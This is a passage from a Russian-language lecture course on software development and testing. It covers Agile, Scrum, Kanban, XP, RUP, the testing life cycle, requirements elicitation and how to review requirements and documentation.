программного обеспечения, занимаясь разработкой непосредственно и помогая в этом
другим. Благодаря проделанной работе мы смогли осознать, что:
Люди и взаимодействие важнее процессов и инструментов.

Работающий продукт важнее исчерпывающей документации.
Сотрудничество с заказчиком важнее согласования условий контракта.
Готовность к изменениям важнее следования первоначальному плану.
То есть, не отрицая важности того, что справа, мы всё-таки больше ценим то, что
слева.
Основополагающие принципы Agile-манифеста

Мы следуем таким принципам:
29
Наивысшим приоритетом для нас является удовлетворение потребностей

заказчика благодаря регулярной и ранней поставке ценного программного
Изменение требований приветствуется даже на поздних стадиях разработки. Agile-

процессы позволяют использовать изменения для обеспечения заказчику
конкурентного преимущества.
Работающий продукт следует выпускать как можно чаще, с периодичностью от

пары недель до пары месяцев.
На протяжении всего проекта разработчики и представители бизнеса должны

ежедневно работать вместе.
Над проектом должны работать мотивированные профессионалы. Чтобы работа

была сделана, создайте условия, обеспечьте поддержку и полностью доверьтесь
им.
Непосредственное общение является наиболее практичным и эффективным

способом обмена информацией как с самой командой, так и внутри команды.
Работающий продукт — основной показатель прогресса.
Инвесторы, разработчики и пользователи должны иметь возможность

поддерживать постоянный ритм бесконечно. Agile помогает наладить такой
устойчивый процесс разработки.
Постоянное внимание к техническому совершенству и качеству проектирования

повышает гибкость проекта.
Простота — искусство минимизации лишней работы — крайне необходима.
Самые лучшие требования, архитектурные и технические решения рождаются у

самоорганизующихся команд.
Команда должна систематически анализировать возможные способы улучшения

эффективности и соответственно корректировать стиль своей работы.
SCRUM
30
Scrum (Скрам) — это не аббревиатура, этот термин взят из регби, который обозначает
схватку вокруг мяча.
Сам термин Scrum можно определить так — это методология управления проектами,
которая построена на принципах тайм-менеджмента. Основной ее особенностью
является вовлеченность в процесс всех участников, причем у каждого участника есть
своя определенная роль. Суть в том, что не только команда работает над решением
задачи, но все те, кому интересно решение задачи. Не просто поставили задачу и
расслабились, а постоянно «работают» с командой и эта работа не означает только
постоянный контроль.
Основные термины, которые используются в методологии:
Владелец продукта (Product owner) — человек, который имеет

непосредственный интерес в качественном конечном продукте, он понимает, как
это продукт должен выглядеть/работать. Этот человек не работает в команде, он
работает на стороне заказчика/клиента (это может быть как другая компания, так и
другой отдел), но этот человек работает с командой. И это тот человек, который
расставляет приоритеты для задач.
Scrum-мастер — это человек, которого можно назвать руководителем проекта,

хотя это не совсем так. Главное, что это человек «зараженный Scrum-бациллой»
настолько, что несет ее как своей команде, так и заказчику и, соответственно,
31
следит за тем, чтобы все принципы Scrum соблюдались.
Scrum-команда — это команда, которая принимает все принципы Scrum и готова

с ними работать.
Спринт — отрезок времени, который берется для выполнения определенного

(ограниченного) списка задач. Рекомендуется брать 2-4 недели (длительность
определяется командой один раз).
Бэклог (backlog) — это список всех работ. Можно сказать, это ежедневник общего
пользования. Различают 2 вида бэклогов: Product-бэклог и спринт-бэклог.
1.Product-бэклог — это полный список всех работ, при реализации которых мы

получим конечный продукт.
2. Спринт-бэклог — это список работ, который определила команда и согласовала с

Владельцем продукта на ближайший отчетный период (спринт). Задания в спринт-
бэклог берутся из product-бэклога.
Планирование спринта — это совещание, на котором присутствуют все

(команда, Scrum-мастер, Владелец продукта). В течение этого совещания
Владелец продукта определяет приоритеты заданий, которые он хотел бы увидеть
выполненными по истечении спринта. Команда оценивает по времени, сколько из
желаемого они могут выполнить. В итоге получается список заданий, который не
может меняться в течение спринта и к концу спринта должен быть полностью
выполнен.
Пример работы PR-агентства. Как бы это могло выглядеть, если бы они работали по
Scrum:
Компания-клиент «Икс» хочет провести через 2 месяца масштабное мероприятие для

своих партнеров и журналистов. Услуги по организации такого мероприятия компания
«Икс» заказала у агентства «Зет». Компанию «Икс» представляет PR-менеджер,
который отвечает за организацию мероприятия со стороны клиента. В терминологии
Scrum этот человек называется "Владелец продукта". Со стороны агентства за
организацию мероприятия отвечает account-менеджер (Scrum-мастер), в подчинении
которого находится команда (Scrum-команда). На совместном совещании
(планировании спринта) компания и агентство решают, что они будут отчитываться/
планировать каждые 2 недели (длина спринта). На первые 2 недели они
запланировали список задач (спринт-бэклог), однако команда оценила, что не все из
этого списка они успеют выполнить. Тогда PR-менеджер (он же Владелец продукта)
говорит, какие из этого списка задач более приоритетные на ближайшие 2 недели,
после чего команда берется за выполнение заданий. Единственное, что здесь должно
32
быть учтено, что, на момент планирования первого спринта, должен быть спланирован
весь список заданий на 2 месяца (product-бэклог), чтобы не получилось так, что к
моменту проведения мероприятия что-то не выполнено.
Жизненный цикл спринта
**1.Планирование спринта.**
В начале каждого спринта проводится планирование этого самого спринта. В

планировании спринта участвуют заказчики, пользователи, менеджмент, Product
Owner, Скрам Мастер и команда.
Планирование спринта состоит из двух последовательных митингов.
1)Планирование спринта, митинг первый.
Участники: команда, Product Owner, Scrum Master, пользователи, менеджмент
Цель: Определить цель спринта (Sprint Goal) и Sprint Backlog -функциональность,

которая будет разработана в течение следующего спринта для достижения цели
спринта.
Артефакт: Sprint Backlog
2) Планирование спринта, митинг второй.
Участники: Скрам Мастер, команда
Цель: определить, как именно будет разрабатываться определенная

функциональность для того, чтобы достичь цели спринта. Для каждого элемента Sprint
Backlog определяется список задач и оценивается их продолжительность.
Артефакт: в Sprint Backlog появляются задачи
Если в ходе спринта выясняется, что команда не может успеть сделать

запланированное на спринт, то Скрам Мастер, Product Owner и команда встречаются и
выясняют, как можно сократить scope работ и при этом достичь цели спринта.
**2.Остановка спринта $Sprint Abnormal Termination$.**
Остановка спринта производится в исключительных ситуациях. Спринт может быть

остановлен до того, как закончатся отведенные 30 дней. Спринт может остановить
команда, если понимает, что не может достичь цели спринта в отведенное время.
33
Спринт может остановить Product Owner, если необходимость в достижении цели

спринта исчезла.
После остановки спринта проводится митинг с командой, где обсуждаются причины

остановки спринта. После этого начинается новый спринт: производится его
планирование и стартуются работы.
**3.Daily Scrum Meeting.**
Этот митинг проходит каждое утро в начале дня. Он предназначен для того, чтобы все
члены команды знали, кто и чем занимается в проекте. Длительность этого митинга
строго ограничена и не должна превышать 15 минут. Цель митинга — поделиться
информацией. Он не предназначен для решения проблем в проекте. Все требующие
специального обсуждения вопросы должны быть вынесены за пределы митинга.
Скрам митинг проводит Скрам Мастер. Он по кругу задает вопросы каждому члену
команды:
• Что сделано вчера?
• Что будет сделано сегодня?
• С какими проблемами столкнулся?
Скрам Мастер собирает все открытые для обсуждения вопросы в виде Action Items,
например, в формате что/кто/когда, например:
• Обсудить проблему с отрисовкой контрола.
• Петя и Вася.
• Сразу после скрама.
Диаграмма сгорания задач (Burndown chart)
34
Диаграмма, которая показывает количество сделанной и оставшейся работы.

Обновляется ежедневно с тем, чтобы в простой форме показать подвижки в работе
над спринтом. График должен быть общедоступен.
Существуют разные виды диаграммы:
• Диаграмма сгорания работ для спринта — показывает, сколько уже задач сделано
и сколько ещё остаётся сделать в текущем спринте.
• Диаграмма сгорания работ для выпуска проекта показывает, сколько уже задач
сделано и сколько ещё остаётся сделать до выпуска продукта (обычно строится на
базе нескольких спринтов).
Ретроспектива
В конце каждого Спринта Скрам Команда собирается на ретроспективу. Цель:
пересмотреть качество существующих процессов, взаимоотношения людей и
применяемые инструменты. Команда определяет, что прошло хорошо, а что прошло
не очень, а также выявляет потенциальные возможности для улучшений. Они создают
план улучшений на будущее.
Канбан
Термин "канбан" имеет дословный перевод: «Кан» значит видимый, визуальный и
«бан» - карточка или доска. На заводах Тойота карточки "канбан" используются
повсеместно для того, чтобы не загромождать склады и рабочие места заранее
созданными запчастями. Например, представьте, что Вы ставите двери на Тойота
Королла. У Вас возле рабочего места находится пачка из 10 дверей. Вы их ставите
одну за другой на новые машины и, когда в пачке остается 5 дверей, то Вы знаете, что
35
пора заказать новые двери. Вы берете карточку "канбан", пишете на ней заказ на 10
дверей и относите ее тому, кто делает двери. Вы знаете, что он их сделает как раз к
тому моменту, как у Вас закончатся оставшиеся 5 дверей. И именно так и происходит:
когда Вы ставите последнюю дверь, прибывает пачка из 10 новых дверей. И так
постоянно: Вы заказываете новые двери только тогда, когда они вам нужны.
А теперь представьте, что такая система действует на всём заводе. Нигде нет складов,
где запчасти лежат неделями и месяцами. Все работают только по запросу и
производят именно столько запчастей, сколько запрошено. Если вдруг заказов стало
больше или меньше, то система сама легко подстраивается под изменения.
Основная задача карт "канбан" в этой системе — это уменьшение количества

«выполняющейся в данный момент работы» (work in progress).
Например, на всю производственную линию может быть выделено ровно 10 карточек

для дверей. Это значит, что в каждый момент времени на линии не будет больше 10
готовых дверей. Когда заказывать новые двери и сколько — это задача для того, кто их
устанавливает. Только он знает свои потребности и только он может помещать заказы
производителю дверей, но он всегда ограничен числом 10.
Этот метод Бережливого производства (Lean manufacturing) был придуман в Тойота, и

сейчас многие производственные компании по всему миру его внедряют или уже
внедрили.
Но это всё относится к производству, а не к разработке программного обеспечения.
А что же такое канбан- разработка применительно к ПО и чем она отличается от

других гибких методологий, будь то SCRUM или XP?
Во-первых, нужно сразу понять, что канбан — это не конкретный процесс, а система
ценностей. Как, впрочем, и SCRUM с XP. Это значит, что никто Вам не скажет, что и как
делать по шагам.
Во-вторых, весь канбан можно описать одной простой фразой — «уменьшение

выполняющейся в данный момент работы (work in progress)».
В-третьих, канбан — это даже еще более «гибкая» методология, чем SCRUM и XP. Это
значит, что она не подойдет всем командам и для всех проектов. И это также значит,
что команда должна быть еще более готовой к гибкой работе, чем даже команды,
использующие SCRUM и XP.
Разница между канбан и SCRUM:
В канбан нет таймбоксов ни на что (ни на задачи, ни на спринты).

В канбан задачи больше и их меньше.
36
В канбан оценки сроков на задачу опциональные или вообще их нет.

В канбан «скорость работы команды» отсутствует и считается только среднее
время на полную реализацию задачи.
Канбан-разработка отличается от SCRUM, в первую очередь, ориентацией на задачи.

Если в SCRUM основная ориентация команды — это успешное выполнение спринтов
(надо признать, что это так), то в канбан на первом месте задачи.
Спринтов никаких нет, команда работает над задачей с самого начала и до

завершения. Деплоймент задачи делается тогда, когда она готова. Презентация
выполненной работы — тоже. Команда не должна оценивать время на выполнение
задачи, ибо это имеет мало смысла и почти всегда ошибочна вначале.
Если менеджер верит команде, то зачем иметь оценку времени? Задача менеджера —
это создать приоритезированный пул задач, а задача команды — выполнить как можно
больше задач из этого пула. Всё. Никакого контроля не нужно. Всё, что нужно от
менеджера — это добавлять задачи в этот пул или менять им приоритет. Именно так
он управляет проектом.
Команда для работы использует канбан-доску. Например, она может выглядеть так:
Столбцы слева направо:
Цели проекта: необязательный, но полезный столбец. Сюда можно поместить

высокоуровневые цели проекта, чтобы команда их видела и все про них знали.
Например, «Увеличить скорость работы на 20%» или «Добавить поддержку
37
Windows 7».
Очередь задач: тут хранятся задачи, которые готовы к тому, чтобы начать их
выполнять. Всегда для выполнения берется верхняя, самая приоритетная задача
и ее карточка перемещается в следующий столбец.
Проработка дизайна: этот и остальные столбцы до «Закончено» могут меняться,
т.к. именно команда решает, какие шаги проходит задача до состояния
«Закончено». Например, в этом столбце могут находиться задачи, для которых
дизайн кода или интерфейса еще не ясен и обсуждается. Когда обсуждения
закончены, задача передвигается в следующий столбец.
Разработка: тут задача висит до тех пор, пока разработка фичи не завершена.
После завершения она передвигается в следующий столбец. Или ,если
архитектура не верна или неточна, задачу можно вернуть в предыдущий столбец.
Тестирование: в этом столбце задача находится, пока она тестируется. Если
найдены ошибки — возвращается в Разработку. Если нет — передвигается
дальше.
Деплоймент: у всех проектов свой деплоймент. У кого-то это значит выложить
новую версию продукта на сервер, а у кого-то — просто закомитить код в
репозиторий.
Закончено: сюда стикер попадает только тогда, когда все работы по задаче
закончены полностью.
В любой работе случаются срочные задачи. Запланированные или нет, но такие,

которые надо сделать прямо сейчас. Для таких можно выделить специальное место
(на картинке отмечено, как «Expedite»). В Expedite можно поместить одну срочную
задачу и команда должна начать ее выполнять немедленно и завершить как можно
быстрее. Но может быть только одна такая задача! Если появляется еще одна — она
должна быть добавлена в «Очередь задач».
А теперь самое важное. Видите цифры под каждым столбцом? Это число задач,
которые могут быть одновременно в этих столбцах. Цифры подбираются
экспериментально, но, считается, они должны зависеть от числа разработчиков в
команде. Например, если вы имеете 8 программистов в команде, то в строку
«Разработка» вы можете поместить цифру 4. Это значит, что одновременно
программисты будут делать не более 4-х задач, значит, у них будет много причин для
общения и обмена опытом. Если вы поставите туда цифру 2, то 8 программистов,
занимающихся двумя задачами, могут заскучать или терять слишком много времени
на обсуждениях. Если поставить 8, то каждый будет заниматься своей задачей и
некоторые задачи будут задерживаться на доске надолго, а ведь главная задача
канбан — это уменьшение времени прохождения задачи от начала до стадии
готовности.
38
Никто не даст точный ответ, какими должны быть эти лимиты, но попробуйте, для
начала, разделить число разработчиков на 2 и посмотреть, как это работает в вашей
команде. Потом эти числа можно подогнать под вашу команду. Под «разработчиками»
понимаются не только программисты, но и другие специалисты. Например, для
столбца «Тестирование» разработчики — это тестеры, т.к. тестирование — это их
обязанность.
Экстремальное программирование (XP)

Двенадцать основных приёмов экстремального программирования (по первому
изданию книги Extreme programming explained) могут быть объединены в четыре
группы:
1.Короткий цикл обратной связи (Fine-scale feedback):
• Разработка через тестирование (Test-driven development).
• Игра в планирование (Planning game).
• Заказчик всегда рядом (Whole team, Onsite customer).
• Парное программирование (Pair programming).
2.Непрерывный, а не пакетный процесс:
• Непрерывная интеграция (Continuous integration).
• Рефакторинг (Design improvement, Refactoring).
• Частые небольшие релизы (Small releases).
3.Понимание, разделяемое всеми:
• Простота (Simple design).
• Метафора системы (System metaphor).
• Коллективное владение кодом (Collective code ownership) или выбранными

шаблонами проектирования (Collective patterns ownership).
• Стандарт кодирования (Coding standard or Coding conventions).
4.Социальная защищенность программиста (Programmer welfare):
• 40-часовая рабочая неделя (Sustainable pace, Forty-hour week).
RATIONAL UNIFIED PROCESS (RUP)
39
RATIONAL UNIFIED PROCESS (RUP) — методология разработки программного

обеспечения, созданная компанией Rational Software.
В основе методологии лежат 6 основных принципов:
Компонентная архитектура, реализуемая и тестируемая на ранних стадиях

проекта.
Работа над проектом в сплочённой команде, ключевая роль в которой
принадлежит архитекторам.
Ранняя идентификация и непрерывное устранение возможных рисков.
Концентрация на выполнении требований заказчиков к исполняемой программе.
Ожидание изменений в требованиях, проектных решениях и реализации в
процессе разработки.
Постоянное обеспечение качества на всех этапах разработки проекта.
Использование методологии RUP направлено на итеративную модель разработки.

Особенность методологии состоит в том, что степень формализации может меняться в
зависимости от потребностей проекта. Можно создавать все требуемые документы и
достигнуть максимального уровня формализации, по окончании каждого этапа и
каждой итерации а можно создавать только необходимые для работы документы,
вплоть до полного их отсутствия. За счет такого подхода к формализации процессов
методология является достаточно гибкой и широко популярной. Данная методология
применима как в небольших и быстрых проектах, где за счет отсутствия
формализации требуется сократить время выполнения проекта и расходы, так и в
больших и сложных проектах, где требуется высокий уровень формализма, например,
с целью дальнейшей сертификации продукта. Это преимущество дает возможность
использовать одну и ту же команду разработчиков для реализации различных по
объему и требованиям.
40
41
Лекция 1, ч.4. Жизненный цикл тестирования
Жизненный цикл тестирования

Следуя общей логике итеративности, превалирующей во всех современных моделях
разработки ПО, жизненный цикл тестирования также выражается замкнутой
последовательностью действий (Рис. 1.1.).
Важно понимать, что длина такой итерации (и, соответственно, степень подробности
каждой стадии) может варьироваться в широчайшем диапазоне — от единиц часов до
десятков месяцев. Как правило, если речь идёт о длительном промежутке времени, он
разбивается на множество относительно коротких итераций, но сам при этом
«тяготеет» к той или иной стадии в каждый момент времени (например, в начале
проекта больше планирования, в конце — больше отчётности).
Также ещё раз стоит подчеркнуть, что приведённая схема — не догма, но общая суть и
ключевые принципы остаются неизменными. Их и рассмотрим.
Рис. 1.1. Жизненный цикл тестирования
Стадия 1 (общее планирование и анализ требований) объективно необходима, как

минимум, для того, чтобы иметь ответ на такие вопросы, как: что нам предстоит
тестировать; как много будет работы; какие есть сложности; всё ли необходимое у нас
есть и т.п. Как правило, получить ответы на эти вопросы невозможно без анализа
требований, т.к. именно требования являются первичным источником ответов.
42
Лекция 1, ч.4. Жизненный цикл тестирования
Стадия 2 (уточнение критериев приёмки) позволяет сформулировать или уточнить

метрики и признаки возможности или необходимости начала тестирования,
приостановки и возобновления тестирования, завершения или прекращения
Стадия 3 (уточнение стратегии тестирования) представляет собой ещё одно

обращение к планированию, но уже на локальном уровне: рассматриваются и
уточняются те части стратегии тестирования, которые актуальны для текущей
итерации.
Стадия 4 (разработка тест-кейсов) посвящена разработке, пересмотру, уточнению,

доработке, переработке и прочим действиям с тест-кейсами, наборами тест-кейсов,
тестовыми сценариями и иными артефактами, которые будут использоваться при
непосредственном выполнении тестирования.
Стадия 5 (выполнение тест-кейсов) и стадия 6 (фиксация найденных дефектов) тесно

связаны между собой и фактически выполняются параллельно: дефекты фиксируются
сразу по факту их обнаружения в процессе выполнения тест-кейсов. Однако зачастую
после выполнения всех тест-кейсов и написания всех отчётов о найденных дефектах
проводится явно выделенная стадия уточнения, на которой все отчёты о дефектах
рассматриваются повторно с целью формирования единого понимания проблемы и
уточнения таких характеристик дефекта, как важность и срочность.
Стадия 7 (анализ результатов тестирования) и стадия 8 (отчётность) также тесно

связаны между собой и выполняются практически параллельно. Формулируемые на
стадии анализа результатов выводы напрямую зависят от плана тестирования,
критериев приёмки и уточнённой стратегии, полученных на стадиях 1, 2 и 3.
Полученные выводы оформляются на стадии 8 и служат основой для стадий 1, 2 и 3
следующей итерации тестирования. Таким образом, цикл замыкается.
43
Лекция 2, ч.1. Требования
Требования
Что такое «требование»
Как мы только что рассмотрели в главе, посвящённой жизненному циклу тестирования,
всё так или иначе начинается с документации и требований.
Требование — описание того, какие функции и с соблюдением каких условий должно

выполнять приложение в процессе решения полезной для пользователя задачи.
Тестирование программного обеспечения. Базовый курс. 2-е издание.
Важность требований
Требования являются отправной точкой для определения того, что проектная команда
будет проектировать, реализовывать и тестировать. Элементарная логика говорит
нам, что если в требованиях что-то «не то», то и реализовано будет «не то», т.е.
колоссальная работа множества людей будет выполнена впустую.
Описывая важность требований, подчёркивается, что они:
Позволяют понять, что и с соблюдением каких условий система должна делать.
Предоставляют возможность оценить масштаб изменений и управлять

изменениями.
Являются основой для формирования плана проекта (в том числе плана

тестирования).
Помогают предотвращать или разрешать конфликтные ситуации.
Упрощают расстановку приоритетов в наборе задач.
Позволяют объективно оценить степень прогресса в разработке проекта.
Вне зависимости от того, какая модель разработки ПО используется на проекте, чем

позже будет обнаружена проблема, тем сложнее и дороже будет её решение. А в
самом начале («водопада», «спуска по букве v», «итерации», «витка спирали») идёт
планирование и работа с требованиями.
44
Если проблема в требованиях будет выяснена на этой стадии, её решение может
свестись к исправлению пары слов в тексте, в то время как недоработка, вызванная
пропущенной проблемой в требованиях и обнаруженная на стадии эксплуатации,
может даже полностью уничтожить проект.
В общем случае документацию можно разделить на два больших вида в зависимости

от времени и места её использования.
Продуктная документация (product documentation, development documentation)

используется проектной командой во время разработки и поддержки продукта. Она
включает:
План проекта (project management) и в том числе тестовый план (test).

Требования к программному продукту (product requirements document)и
функциональные спецификации (functional specifications document, FSD; software
requirements specification, SRS).
Архитектуру и дизайн (architecture and design).
Тест-кейсы и наборы тест-кейсов (test cases, test suites).
Технические спецификации (technical specifications), такие как схемы баз данных,

описания алгоритмов, интерфейсов и т.д.
Проектная документация (project documentation) включает в себя как продуктную

документацию, так и некоторые дополнительные виды документации и используется
не только на стадии разработки, но и на более ранних и поздних стадиях (например,
на стадии внедрения и эксплуатации).
Пользовательскую и сопроводительную документацию (user and

accompanying documentation), такую как встроенная помощь, руководство по
установке и использованию, лицензионные соглашения и т.д.
Маркетинговую документацию (market requirements document, MRD),которую

представители разработчика или заказчика используют как на начальных этапах
(для уточнения сути и концепции проекта), так и на финальных этапах развития
проекта (для продвижения продукта на рынке).
Источники и пути выявления требований:

Интервью, опросы, анкетирование.
Мозговой штурм, семинар.
45
Наблюдение за производственной деятельностью, «фотографирование» рабочего

дня.
Анализ нормативной документации.
Анализ моделей деятельности.
Анализ конкурентных продуктов.
Анализ статистики использования предыдущих версий системы.
Совещание.
Use case.
Анкетирование
Данный способ подразумевает под собой составление листа-опросника (анкеты,

брифа), который может содержать открытые (требуют от опрашиваемого
сформулировать его ответ) и закрытые (требуют от опрашиваемого выбрать ответ из
предложенных вариантов) вопросы.
Анкетирование используется для того, чтобы подтвердить или детализировать ранее

известные требования, выбрать параметры для решений.
Самым известным примером анкетирования может быть “Бриф на разработку сайта”

— анкета содержащая список основных требований и информацию о будущем сайте.
Преимущества:
1. Высокая скорость получения результатов.

2. Сравнительно небольшие материальные затраты.
Недостатки:
1. Данный метод не подходит для выявления неявных требований.

2. При составлении опросника физически невозможно учесть все необходимые
вопросы.
Интервью
Этот метод известен многим в качестве своего рода беседа “по душам” с
заинтересованным лицом, тет-а-тет.
Необходимо задавать открытые вопросы для получения информации и закрытые для

того, чтобы подтвердить или опровергнуть конкретные варианты требований.
Данный способ применяется, в основном, для получения информации по какой-либо

конкретной теме и/или для уточнения требований.
46
Многим этот способ может показаться достаточно легким, но это не так. Провести
хорошее интервью достаточно сложно. Вы должны гибко реагировать на реакцию
интервьюируемого и, в случае необходимости, изменять порядок заготовленных
вопросов или их формулировку. Не забудьте включить диктофон во время интервью
или вести заметки.
Из плюсов:
1. Возможность задавать вопросы в произвольной последовательности.

2. Возможность использовать вспомогательный материал.
3. Анализ невербальной реакции опрашиваемого человека, позволит сделать
дополнительный вывод о достоверности его ответов.
Из минусов:
1. Интервью отнимает достаточно много времени и сил.

2. Дополнительной сложностью является получение одинаковых ответов от
интервьюируемых.
Анализ нормативной документации

Данная методика может быть использована при наличии в организации документации,
которая может помочь в определении потребностей заказчика. Примеры документации
включают в себя: регламенты, описания процессов, структура организации,
спецификации продукта, различные процедуры, стандарты и инструкции, шаблоны
документов и т.д.
Выявленные требования являются основой для дальнейшего анализа и должны быть

детализированы. Данная методика применима, например, при автоматизации
устоявшихся в организации регламентированных бизнес процессов.
Плюс:
Быстрое получение информации.
Минус:
Данный способ не применим при наличии в компании только базовых документов

(или при их полном отсутствии) или, если в компании заказчика не
поддерживается актуальность документации.
Мозговой штурм
Мозговой штурм — наиболее часто используемый метод получения требований,

которые связаны с новыми или плохо изученными направлениями деятельности
организации заказчика или функциями системы.
47
Он позволяет собрать множество идей от различных заинтересованных лиц

(стейкхолдеров) в кратчайшие сроки и практически бесплатно.
Во время мозгового штурма участники «накидывают» любые идеи, касающиеся

решения данной проблемы.
С помощью этой методики можно проработать несколько различных вариантов

решения заданной проблемы, а также разрешить конфликты требований.
Плюсы:
Позволяет генерировать множество (в том числе и нестандартных) вариантов

решений, а также позволяет участникам развивать идеи друг друга.
Минусы:
Участники мозгового штурма должны быть мотивированы на идеи.

Трудно применим в распределенных командах.
Совещание
Совещание — встреча, ориентированная на обсуждение конкретных вопросов,

которые были определены и озвучены участникам заранее.
На такие встречи привлекаются люди, которые придерживаются различных точек

зрения по текущей проблеме и могут помочь описать требования, основываясь на
взглядах с разных сторон. В процессе совещания уточняется общий список
требований, выявляются скрытые требования и решаются конфликты требований.
Совещания являются одной из ключевых практик в Agile, т.к. в них участвуют все
заинтересованные в развитии проекта и решении проблемы стороны.
Плюсы:
Позволяет развить и детализировать требования, определить приоритеты.
Сложности в организации встречи, если команда географически разделена, могут

возникнуть трудности с присутствием всех необходимых людей на совещании.
Консенсус необязательно будет достигнут.
Use case
Use cases или варианты использования позволяют собрать и сформировать

функциональные требования от лица участников. Диаграммы вариантов
использования определяют границы решения и показывают связи с внешними
системами и участниками.
48
Метод позволяет детализировать требования с точки зрения пользователей, а также

помогает уточнить и систематизировать функционал, который требуется реализовать.
Плюсы:
Позволяет проработать все варианты развития сценария (основной и

альтернативные сценарии).
Минусы:
Метод не применим для сбора нефункциональных требований.
49
Лекция 2, ч.2. Анализ требований
Анализ требований
Параметры тестирования документации
1. Четкость и ясность
Начать тестирование требований можно с поверхностного осмотра документации. Это

сложно назвать именно тестированием, но нередко уже на данном этапе выявляется
немало недочетов. Начнем с обычного сценария. Вы начали читать требования и уже с
первых строк у Вас возникает масса вопросов к автору (например, «Каков ожидаемый
результат после нажатия на эту кнопку?» или «Что будет, если я отменю заказ?»). Это
плохо. После прочтения документации не должно быть вопросов. Совсем. Требования
– это как свод законов для продукта, а законы не допускают двусмысленность, «воду»
и неточности. Документация должна давать предельно ясную информацию о том, как
должен работать каждый отдельный модуль и весь продукт в целом. К сожалению,
после прочтения большинства требований остается целый ряд вопросов.
Пример. В требованиях было записано: «В поле «Имя пользователя» могут быть

введены буквы и цифры». Разработчик начал выяснять у аналитика, какие именно
буквы (кириллица, латиница или арабские) и какие цифры (целые, дробные, римские)
имеются в виду. После уточнения требований разработчик реализовал функционал
согласно комментариям аналитика. Задача перешла в тестирование. Тестировщик не
понимал, по каким критериям проверять данное поле, и тоже начал расспрашивать
аналитика.
Последствия:
Затраченное время нескольких членов команды.

Несовпадение итогового и изначально планируемого функционалов.
Как тестировать:
Если у Вас после прочтения требований остались вопросы – необходима

доработка.
Если разработчики часто уточняют детали в чатах – это плохой знак.
Дальнейшее («более глубокое») исследование требует гораздо больших временных

затрат.
2. Актуальность
Необходимость поддержания актуальности требований кажется очевидной. Однако, на
некоторых проектах требования не обновляются месяцами, а то и годами. Это может
50
быть связано с тем, что в штате нет аналитика, а у исполняющего его обязанности
сотрудника просто не хватает времени. Случается и другое: требования обновляют
только при наличии действительно значимых изменений, при этом различные
«мелочи», в виде изменения кнопок или текстов, игнорируются.
Пример. Было решено изменить положение кнопок на странице авторизации.

Аналитик не стал править документацию, а написал разработчику личное сообщение с
просьбой поправить расположение кнопок. Разработчик внес правки и закрыл задачу.
Во время очередного регрессионного тестирования тестировщик решил, что это
дефект, и завел на него баг. Другой разработчик вернул кнопки на прежние позиции
согласно документации.
Время нескольких членов команды потрачено впустую.

Итоговая позиция кнопок не соответствует ожидаемому результату.
При наличии подобных сообщений в командном чате нужно убедиться, что

обновленные требования задокументированы.
Необходимо сравнить даты обновления технического задания и пояснительной
записки с датой последнего обновления требований.
3. Логика
Как следует из названия, работа системы должна быть логичной. Пользователь не
может изменить настройки своего профиля или написать письмо до того, как пройдет
авторизацию в системе. Звучит, опять же, элементарно, но в проектах со множеством
клиентов или со сложной логикой подобные ошибки часто допускаются.
Пример. В мобильном приложении появилась необходимость реализовать

функционал электронной подписи документа. Пользователю предлагалось ввести свои
данные, после чего они автоматически подставлялись в шаблон документа.
Приложение открывало документ и предлагало его подписать. Если пользователь
понимал, что в документе есть ошибки, то исправить он их уже не мог: у него была
возможность только подписать этот документ. Закрытие приложения или его
переустановка не помогали – при входе пользователя в аккаунт сразу отображался тот
же документ на подпись.
Пользователь в бешенстве.
Дальнейшая работа с аккаунтом без обращения в техподдержку невозможна.
51
Нарисовать примерную блок-схему работы системы в соответствии с

требованиями и убедиться, что в ней нет логических пробелов.
Убедиться, что в требованиях описан необходимый основной функционал.
Убедиться, что взаимодействие между модулями системы изложено корректно.
4. Возможные сценарии
В документации должны быть подробно описаны как очевидные, так и неочевидные
варианты использования системы. К очевидным (позитивным) вариантам, например,
можно отнести ввод корректной пары логин/пароль. К неочевидным (негативным) –
ввод некорректной пары логин/ пароль или отсутствие этих данных вовсе.
Пример. Часто из виду упускаются такие моменты, как тексты ошибок, поведение
системы при потере связи, а также обработка ошибок, связанных со сторонними
сервисами (например, с оплатой).
При потере связи система ведет себя некорректно (отсутствие ошибок,

зависание).
Сообщения об ошибках не очевидны.
В худшем случае возможны репутационные или финансовые потери.
Нарисовать блок-схему отдельного модуля системы, в рамках которой обозначить

все возможные условия и действия пользователя.
Убедиться, что в требованиях есть описание каждого возможного случая.
5. Интеграция
Имеет смысл выделить интеграцию со сторонними сервисами, так как здесь
приходится выходить за рамки проверки документации. Перед началом разработки
аналитики, как правило, изучают работу сторонней системы, а затем описывают схему
взаимодействия этой системы с разрабатываемым продуктом. В данном случае,
вероятность ошибки очень велика, так как ошибиться могут как аналитики, так и
представители стороннего сервиса, которые консультировали или писали
документацию.
Пример. На проекте необходимо было реализовать возможность авторизации через

сторонний сервис. Аналитик по ошибке изучил устаревшую документацию стороннего
сервиса и описал заведомо нерабочую схему взаимодействия. Разработчики начали
работу, в соответствии с готовой схемой, но постоянно получали ошибки. Они
«допрашивали» аналитика, а тот в спешке звонил в техподдержку стороннего сервиса
и выяснял причины ошибок.
52
Задержка разработки функционала на неделю.
Необходимо вручную проверить, что сторонний сервис обрабатывает все

необходимые запросы, в соответствии с описанной схемой.
Проверить, указал ли аналитик корректно и в полном объеме всю необходимую
для разработки информацию.
53
Лекция 2, ч.3. Тестирование документации
Тестирование документации
Документация– это еще одна составляющая программного продукта любой
уважающей себя организации, занимающейся разработкой программного
обеспечения. Но не все организации уделяют достаточное количество времени
разработке стоящей документации. Очень часто нам приходится иметь дело с
толковым программным продуктом и невзрачным, непонятным и беспомощным
документным сопровождением.
Попробуем собрать воедино критерии тестирования, образующие квинтэссенцию

качественной документации. Думаю, будет справедливым, если мы опустим такое
всем понятное правило, как грамматика, так как не в ней одной таится успешный
релиз.
В целом, документация создается для возможности грамотно и без паники найти

выход или решение из любой возникшей проблемной ситуации человеку из самым
низким знанием принципов разработки программного обеспечения. От этого принципа
необходимо отталкиваться, продумывая содержание и структуру наших мануалов.
И так, начнем:
• Полнота и соответствие действительности. Любая документация должна

содержать описание именно той функциональности, которая присутствует в
приложении. И данное описание должно касаться абсолютно всей функциональности,
а не только наиболее значимой.
• Навигация. И не просто навигация, а удобная навигация. У пользователя никогда не

должно возникать проблем с поиском необходимой ему информации. Древовидная
структура файлов, закладки и прочее должны быть на видном месте сразу, как
пользователь открывает документ. Алфавитный указатель, поиск – должно
присутствовать все, что поможет найти решение или описание проблемы.
• Из пункта выше вытекает структурированность документации. Все документы

должны находится в полном порядке, по разделам. Также, текст должен быть с четкой
